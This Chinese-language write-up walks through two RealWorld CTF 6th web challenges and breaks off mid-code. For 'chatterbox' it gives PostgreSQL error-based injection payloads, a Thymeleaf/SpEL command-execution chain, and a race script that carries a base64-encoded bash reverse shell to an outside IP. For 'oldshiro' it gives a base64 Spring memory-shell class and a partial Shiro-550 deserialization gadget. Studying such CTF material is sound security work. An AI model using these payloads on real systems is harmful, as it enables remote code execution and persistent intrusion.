January 29, 2024

RealWorld CTF 6th 正赛/体验赛 部分 Web Writeup

chatterbox(solved)

考点:PSQL报错注入、Thymeleaf模板注入
一开始咱以为是psql的盲注,但盲注确实也可以,但是我发现好像可以直接error-base。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
public String doLogin(HttpServletRequest request, Model model, HttpSession session) throws Exception {
String username = request.getParameter("username");
String password = request.getParameter("passwd");
if (username != null && password != null) {
if (SQLCheck.checkBlackList(username) && SQLCheck.checkBlackList(password)) {
String sql = "SELECT id,passwd FROM message_users WHERE username = '" + username + "'";
if (SQLCheck.check(sql)) {
try {
List<String> pass = this.jdbcTemplate.query(sql, new RowMapper<String>() {
public String mapRow(ResultSet rs, int rowNum) throws SQLException {
try {
String var10000 = rs.getString(1);
return var10000 + "/" + rs.getString(2);
} catch (java.sql.SQLException var4) {
throw new RuntimeException(var4);
}
}
});
if (!pass.isEmpty()) {
String[] info = ((String)pass.get(0)).split("/");
String dbPassword = info[1];
if (dbPassword != null && dbPassword.equals(password)) {
int userId = Integer.parseInt(info[0]);
session.setAttribute("userId", userId);
return "redirect:/";
}

model.addAttribute("status", 500);
model.addAttribute("message", "Incorrect Username/Password~");
} else {
model.addAttribute("status", 500);
model.addAttribute("message", "Incorrect Username/Password~");
}

return "error";
} catch (Exception var11) {
model.addAttribute("status", 500);
model.addAttribute("message", var11.toString());
return "error";
}
} else {
model.addAttribute("status", 500);
model.addAttribute("message", "check error~");
return "error";
}
} else {
model.addAttribute("status", 500);
model.addAttribute("message", "Ban!");
return "error";
}
} else {
return "login";
}
}
}

这一段就是这道题的主要代码,是一个Psql的注入,注入点就是username,想要注入成功需要通过Waf,waf如下
image.png

1
["SELECT", "UNION", "INSERT", "ALTER", "SLEEP", "DELETE", "--", ";", "#", "&", "/*", "OR", "EXEC", "CREATE", "AND", "DROP", "DO", "COPY", "SET", "VACUUM", "SHOW", "CURSOR", "TRUNCATE", "CAST", "BEGIN", "PERFORM", "END", "CASE", "WHEN", "ALL", "TABLE", "UPDATE", "TRIGGER", "FUNCTION", "PROCEDURE", "DECLARE", "RETURNING", "TABLESPACE", "VIEW", "SEQUENCE", "INDEX", "LOCK", "GRANT", "REVOKE", "SAVEPOINT", "ROLLBACK", "IMPORT", "COMMIT", "PREPARE", "EXECUTE", "EXPLAIN", "ANALYZE", "DATABASE", "PASSWORD", "CONNECT", "DISCONNECT", "PG_SLEEP", "MERGE", "USING", "LIMIT", "OFFSET", "RETURN", "ESCAPE", "LIKE", "ILIKE", "RLIKE", "EXISTS", "BETWEEN", "IS", "NULL", "NOT", "GROUP", "BY", "HAVING", "ORDER", "WINDOW", "PARTITION", "OVER", "FOREIGN KEY", "REFERENCE", "RAISE", "LISTEN", "NOTIFY", "LOAD", "SECURITY", "OWNER", "RULE", "CLUSTER", "COMMENT", "CONVERT", "COPY", "CHECKPOINT", "REINDEX", "RESET", "LANGUAGE", "PLPGSQL", "PLPYTHON", "SECDEF", "NOCREATEDB", "NOCREATEROLE", "NOINHERIT", "NOREPLICATION", "BYPASSRLS", "FILE", "PG_", "IMPORT", "EXPORT"]

过滤了很多字符串,但是可以用的东西还是有的,比如chr、||、::、ln、'等等字符串和函数。过完这个waf还有第二个waf
image.png
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
private static boolean checkValid(String sql) {
try {
return SQLParser.parse(sql);
} catch (SQLException var9) {
try {
List<SQLStatement> sqlStatements = SQLUtils.parseStatements(sql, JdbcConstants.POSTGRESQL);
if (sqlStatements != null && sqlStatements.size() > 1) {
return false;
} else {
Iterator sqlIterator = sqlStatements.stream().iterator();

while(sqlIterator.hasNext()) {
SQLStatement statement = (SQLStatement)sqlIterator.next();
if (statement instanceof PGSelectStatement) {
SQLSelect sqlSelect = ((SQLSelectStatement)statement).getSelect();
SQLSelectQuery sqlSelectQuery = sqlSelect.getQuery();
if (sqlSelectQuery instanceof SQLUnionQuery) {
return false;
}

SQLSelectQueryBlock sqlSelectQueryBlock = (SQLSelectQueryBlock)sqlSelectQuery;
if (!filtetFields(sqlSelectQueryBlock.getSelectList())) {
return false;
}

if (!filterTableName((SQLExprTableSource)sqlSelectQueryBlock.getFrom())) {
return false;
}

if (!filterWhere(sqlSelectQueryBlock.getWhere())) {
return false;
}

return true;
}
}

return false;
}
} catch (Exception var8) {
if (filter(sql)) {
return true;
} else {
throw new SQLException("SQL Parsing Exception~");
}
}
}
}

这一段需要注意一下,其实到这一段我觉得和tpctf的那个xss有点像,这里也有2个异常处理,需要注意的点就是到了第二个异常处理的时候有个filter
image.png
这个filter十分奇怪,只要字符串有USER_DEFINESELECTVIEW就会为true,那么也就通过了这个waf,我们需要做的也就是进入第二层异常处理。
我们输入'||ln((1=1)::int)||'时,看看会发生什么
image.png
image.png
我们只进入了第一层的异常处理,然后就出去了。我们进入第一层异常处理很简单,只需要让其报错就行了,比如将字符串类型墙砖为int' ||passwd::int||' 这样就进入了第二层,那么假如我们想进入第二层异常的话就是语法错误了。
image.png
那么我们只需要输入一点不存在的语法,payload如下
' ||passwd::int||asdasd'
image.png
我们成功进入了filter函数,可以看到报错就是语法错误,进入了filter我们只需要让payload包含上述说的USERDEFINE就可以了,最终payload如下
' ||passwd::int||asdasd' USER_DEFINE
image.png
image.png
这样无法error-base看到密码,所以需要稍微改进一下
' ||passwd::int||TEXT' USER_DEFINE
image.png
这样我们就完成了error-base的rce了。
image.png
远程环境拿到了key后我们就可以进一步去解题了,这道题的第二步是一个thymeleaf的模板注入。
image.png
在这里会用thymeleaf进行模板渲染。并且做了一些过滤。``

1
return !templateContent.contains("<") && !templateContent.contains(">") && !templateContent.contains("org.apache") && !templateContent.contains("org.spring");

不允许出现<>,这个可以绕过。那么我们现在就来寻找一个payload。
需要渲染需要绕过一下它给的路径file://no_exists/[payload].html,我们插入的地方是payload处,解决方法就是file://no_exists/..\etc/passwd%23就行了。
接下来我们来调试寻找一下payload,由于ban掉了<>,我们只能用内联表达式去绕过

最终我找的payload如下

1
[[${T(java.lang.Boolean).forName("com.fasterxml.jackson.databind.ObjectMapper").newInstance().readValue("{}",T(org.springframework.expression.spel.standard.SpelExpressionParser)).parseExpression("T(Runtime).getRuntime().exec('whoami')").getValue()}]]

需要绕过高版本thy的内置黑名单,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
0 = "org.springframework.beans."
1 = "org.springframework.aspects."
2 = "javax0.geci."
3 = "org.javassist."
4 = "com.squareup.javapoet."
5 = "javassist."
6 = "org.objectweb.asm."
7 = "net.sf.cglib."
8 = "org.springframework.javapoet."
9 = "org.springframework.asm."
10 = "org.springframework.webflow."
11 = "org.springframework.cglib."
12 = "net.bytebuddy."
13 = "org.springframework.objenesis."
14 = "org.springframework.aot."
15 = "org.springframework.context."
16 = "org.objenesis."
17 = "org.mockito."
18 = "org.springframework.web."
19 = "org.aspectj."
20 = "org.springframework.util."
21 = "org.apache.bcel."
22 = "org.springframework.expression."
23 = "org.springframework.aop."

0 = "jakarta."
1 = "org.xml.sax."
2 = "sun."
3 = "org.ietf.jgss."
4 = "javax."
5 = "org.omg."
6 = "com.sun."
7 = "org.w3c.dom."
8 = "jdk."
9 = "java."

这里用jackson的objectmapper去获取SPEL对象,最终执行SPEL表达式,类似于嵌套绕过了。thymeleaf本身也是SPEL只不过他给原生SPEL加了黑名单
image.png
最后就是如何取文件包含了。这里springboot其实是有一个缓存文件的。我们可以做个测试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#Author:Boogipop
import requests
import io
import threading
url='http://localhost:8080/' #引入url
def write():
fileBytes=b"""aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[[${T(java.lang.Boolean).forName("com.fasterxml.jackson.databind.ObjectMapper").newInstance().readValue("{}",T(java.lang.Boolean).forName("org.spri"+"ngframework.expression.spel.standard.SpelExpressionParser")).parseExpression("T(Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4yNC4xODgvNzc3NSA8JjE=}|{base64,-d}|{bash,-i}')").getValue()}]]"""
while True:
response=requests.post(url,
cookies={
'JSESSIONID':"1166AA425449D3ECAD51DE91E2515349"
},
files={
'file':('poc',fileBytes)
}
)
print(response.text)
if __name__=='__main__':
evnet=threading.Event()
with requests.session() as session:
for i in range(30):
threading.Thread(target=write).start()
evnet.set()

image.png
可以发现一直是有缓存文件在生成的,/tmp/tomcat.8080.16899423235577718663/work/Tomcat/localhost/ROOT/upload_ca6259c5_8061_40c0_84e9_45c333f74e57_00019750.tmp,他的临时文件名如上,同样的他也会在/proc/self/fd里加一个id,那么我们只要包含fd即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#Author:Boogipop
import requests
import io
import threading
while True:
for i in range(10, 35):
try:
print(i)
url = f'http://localhost:8080/notify?fname=..%5cproc/self/fd/{i}%23' # 引入url
# print(r.cookies)
response = requests.get(url,
cookies={
'JSESSIONID': "1166AA425449D3ECAD51DE91E2515349" # 同上,PHPSESSID的值
}, timeout=0.5
)
print(response.text)
except:
print("err")

image.png
到这里这题就算讲完了。

oldshiro(solved)

考点:shiro 550 限制 Header绕过
限制了payload的长度,这一篇我记得在某个爷爷的博客里见到过,我们可以用线程名称分块Defineclass的方法去解决。

1
2
server.max-http-header-size = 3000
server.port=8888

给了个3000长度限制。那常规工具和payload肯定是不行了。
image.png
然后关键字变成了rememberMe_rwctf_2024
先说说非预期吧,出DNS,直接dnslog外带就行。
再说说预期吧,预期由于这题不出网,那肯定是需要打内存马进去的。但是内存马的payload长度高达7000,我们怎么样有效缩减呢?
答案就是线程名,线程名不限制长度,完全可以包含我们的payload,我们分块发送就好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package com.javasec.memshell;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Request;
import org.apache.tomcat.util.codec.binary.Base64;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;

import javax.servlet.http.HttpServletRequest;
import java.lang.reflect.Field;

public class DynamicMemshell extends AbstractTranslet {

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
static {
Thread.currentThread().setName("Boogipop");
}

}


image.png
可以看到我们已经设置了很多线程名字为Boogipop了。那接下来我们怎么做呢?
先把我们的FilterMemshell的base64生成

1
yv66vgAAADQBAAoAOwCKCABWCwCLAIwIAI0LAI4AjwsAjgCQCACRCACSCgCTAJQKAA4AlQgAlgoADgCXBwCYBwCZCACaCACbCgANAJwIAJ0IAJ4HAJ8KAA0AoAoAoQCiCgAUAKMIAKQKABQApQoAFACmCgAUAKcKABQAqAoAqQCqCgCpAKsKAKkAqAcArAoAIACtCwA8AK4LADwArwkAkwCwCACxCgCyAKoKALMAtAgAtQsAtgC3BwC4BwC5CwAqALoHALsIALwKAL0AvgcAvwoAMACtCgDAAMEKAMAAwgcAwwcAxAoANQCtBwDFCgA3AIoLADQAxggAxwcAyAcAyQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQArTGNvbS9qYXZhc2VjL21lbXNoZWxsL1NwcmluZ0ZpbHRlck1lbXNoZWxsOwEACXByZUhhbmRsZQEAZChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9PYmplY3Q7KVoBAAdidWlsZGVyAQAaTGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcjsBAAtwcmludFdyaXRlcgEAFUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAAW8BABJMamF2YS9sYW5nL1N0cmluZzsBAAFjAQATTGphdmEvdXRpbC9TY2FubmVyOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQAHaGFuZGxlcgEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAA2NtZAEADVN0YWNrTWFwVGFibGUHAMUHAMoHAMsHAMwHAJkHAM0HAJgHAJ8HAKwBAApFeGNlcHRpb25zAQAKcG9zdEhhbmRsZQEAkihMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9PYmplY3Q7TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvTW9kZWxBbmRWaWV3OylWAQAMbW9kZWxBbmRWaWV3AQAuTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvTW9kZWxBbmRWaWV3OwEAD2FmdGVyQ29tcGxldGlvbgEAeShMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9FeGNlcHRpb247KVYBAAJleAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAM4BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAAdjb250ZXh0AQA3TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0OwEAFW1hcHBpbmdIYW5kbGVyTWFwcGluZwEAVExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nOwEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAEWFkYXB0SW50ZXJjZXB0b3JzAQAQTGphdmEvdXRpbC9MaXN0OwEAD2V2aWxJbnRlcmNlcHRvcgEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBAEZMamF2YS91dGlsL0xpc3Q8TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvSGFuZGxlckludGVyY2VwdG9yOz47BwC4BwC5BwDPBwC/BwDDBwDEAQAKU291cmNlRmlsZQEAGVNwcmluZ0ZpbHRlck1lbXNoZWxsLmphdmEMAD0APgcAygwA0ADRAQADZ2JrBwDLDADSANMMANQA1QEAAAEAB29zLm5hbWUHANYMANcA0QwA2ADZAQADd2luDADaANsBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIBABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jDAA9ANwBAAkvYmluL2Jhc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyDADdAN4HAN8MAOAA4QwAPQDiAQANd29jYW9zaW5pZGVtYQwA4wDkDADlAOYMAOcA2QwA6AA+BwDNDADpANMMAOoAPgEAE2phdmEvbGFuZy9FeGNlcHRpb24MAOsAPgwAYgBjDABmAGcMAOwA7QEABnN0YWFydAcA7gcA7wwA8ADxAQA5b3JnLnNwcmluZ2ZyYW1ld29yay53ZWIuc2VydmxldC5EaXNwYXRjaGVyU2VydmxldC5DT05URVhUBwDyDADzAPQBADVvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L1dlYkFwcGxpY2F0aW9uQ29udGV4dAEAUm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9hbm5vdGF0aW9uL1JlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpbmcMAPUA9gEAPm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvaGFuZGxlci9BYnN0cmFjdEhhbmRsZXJNYXBwaW5nAQATYWRhcHRlZEludGVyY2VwdG9ycwcA9wwA+AD5AQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uBwDPDAD6APsMAPwA/QEADmphdmEvdXRpbC9MaXN0AQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BACljb20vamF2YXNlYy9tZW1zaGVsbC9TcHJpbmdGaWx0ZXJNZW1zaGVsbAwA/gD/AQACb2sBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAyb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9IYW5kbGVySW50ZXJjZXB0b3IBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9pby9QcmludFdyaXRlcgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEAFShMamF2YS9sYW5nL1N0cmluZzspVgEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQALdG9Mb3dlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAqKExqYXZhL2lvL0lucHV0U3RyZWFtO0xqYXZhL2xhbmcvU3RyaW5nOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBAAVjbG9zZQEAB3ByaW50bG4BAAVmbHVzaAEAD3ByaW50U3RhY2tUcmFjZQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BADxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdENvbnRleHRIb2xkZXIBABhjdXJyZW50UmVxdWVzdEF0dHJpYnV0ZXMBAD0oKUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXM7AQA5b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzAQAMZ2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0kpTGphdmEvbGFuZy9PYmplY3Q7AQAHZ2V0QmVhbgEAJShMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL09iamVjdDsBAA9qYXZhL2xhbmcvQ2xhc3MBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAA2FkZAEAFShMamF2YS9sYW5nL09iamVjdDspWgAhADcAOwABADwAAAAHAAEAPQA+AAEAPwAAAC8AAQABAAAABSq3AAGxAAAAAgBAAAAABgABAAAAFABBAAAADAABAAAABQBCAEMAAAABAEQARQACAD8AAAIFAAYACQAAAL4rEgK5AAMCADoEGQTGALAsEgS5AAUCACy5AAYBADoFEgc6BxIIuAAJtgAKEgu2AAyZACK7AA1ZBr0ADlkDEg9TWQQSEFNZBRkEU7cAEToGpwAfuwANWQa9AA5ZAxISU1kEEhNTWQUZBFO3ABE6BrsAFFkZBrYAFbYAFhIEtwAXEhi2ABk6CBkItgAamQALGQi2ABunAAUZBzoHGQi2ABwZBRkHtgAdGQW2AB4ZBbYAH6cACjoFGQW2ACEDrASsAAEADwCwALMAIAADAEAAAABOABMAAAAvAAoAMAAPADIAFwAzAB8ANQAjADYAMwA3AFIAOQBuADsAhgA8AJoAPQCfAD4ApgA/AKsAQACwAEMAswBBALUAQgC6AEQAvABGAEEAAABwAAsATwADAEYARwAGAB8AkQBIAEkABQBuAEIARgBHAAYAIwCNAEoASwAHAIYAKgBMAE0ACAC1AAUATgBPAAUAAAC+AEIAQwAAAAAAvgBQAFEAAQAAAL4AUgBTAAIAAAC+AFQAVQADAAoAtABWAEsABABXAAAAYwAH/wBSAAgHAFgHAFkHAFoHAFsHAFwHAF0ABwBcAAD/ABsACAcAWAcAWQcAWgcAWwcAXAcAXQcAXgcAXAAA/AAnBwBfQQcAXP8AGgAFBwBYBwBZBwBaBwBbBwBcAAEHAGAGAQBhAAAABAABACAAAQBiAGMAAgA/AAAAYAAFAAUAAAAKKissLRkEtwAisQAAAAIAQAAAAAoAAgAAAEsACQBMAEEAAAA0AAUAAAAKAEIAQwAAAAAACgBQAFEAAQAAAAoAUgBTAAIAAAAKAFQAVQADAAAACgBkAGUABABhAAAABAABACAAAQBmAGcAAgA/AAAAYAAFAAUAAAAKKissLRkEtwAjsQAAAAIAQAAAAAoAAgAAAFAACQBRAEEAAAA0AAUAAAAKAEIAQwAAAAAACgBQAFEAAQAAAAoAUgBTAAIAAAAKAFQAVQADAAAACgBoAE8ABABhAAAABAABACAAAQBpAGoAAgA/AAAAPwAAAAMAAAABsQAAAAIAQAAAAAYAAQAAAFYAQQAAACAAAwAAAAEAQgBDAAAAAAABAGsAbAABAAAAAQBtAG4AAgBhAAAABAABAG8AAQBpAHAAAgA/AAAASQAAAAQAAAABsQAAAAIAQAAAAAYAAQAAAFsAQQAAACoABAAAAAEAQgBDAAAAAAABAGsAbAABAAAAAQBxAHIAAgAAAAEAVABzAAMAYQAAAAQAAQBvAAgAdAA+AAEAPwAAAWkAAwAFAAAAarIAJBIltgAmuAAnEigDuQApAwDAACpLKhIruQAsAgDAACtMAU0SLRIutgAvTacACE4ttgAxLAS2ADIBTiwrtgAzwAA0TqcACjoEGQS2ADa7ADdZtwA4OgQtGQS5ADkCAFeyACQSOrYAJrEAAgAlAC0AMAAwADwARQBIADUABABAAAAASgASAAAAFwAIABgAFwAZACMAGgAlABwALQAfADAAHQAxAB4ANQAgADoAIQA8ACMARQAmAEgAJABKACUATwAnAFgAKABhACkAaQAqAEEAAABIAAcAMQAEAE4AdQADAEoABQBOAHYABAAXAFIAdwB4AAAAIwBGAHkAegABACUARAB7AHwAAgA8AC0AfQB+AAMAWAARAH8AQwAEAIAAAAAMAAEAPAAtAH0AgQADAFcAAAAtAAT/ADAAAwcAggcAgwcAhAABBwCFBP8AEgAEBwCCBwCDBwCEBwCGAAEHAIcGAAEAiAAAAAIAiQ==

接下来的思路就是这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package com.javasec.pocs.shiro;

import com.javasec.utils.SerializeUtils;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.PriorityQueue;

public class shiro550 {
public static void main(String[] args) throws Exception {
//Templates obj = SerializeUtils.getTemplateByclass("E:\\CTFLearning\\Java\\JavaSec\\target\\classes\\com\\javasec\\memshell\\DynamicMemshell.class");
Templates obj = SerializeUtils.getTemplate1(" try {\n" +
" ThreadGroup a = Thread.currentThread().getThreadGroup();\n" +
" java.lang.reflect.Field v2 = a.getClass().getDeclaredField(\"threads\");\n" +
" v2.setAccessible(true);\n" +
" Thread[] o = (Thread[]) v2.get(a);\n" +
" for(int i = 0; i < o.length; ++i) {\n" +
" Thread z = o[i];\n" +
" if (z.getName().contains(\"Boogipop\")){\n" +
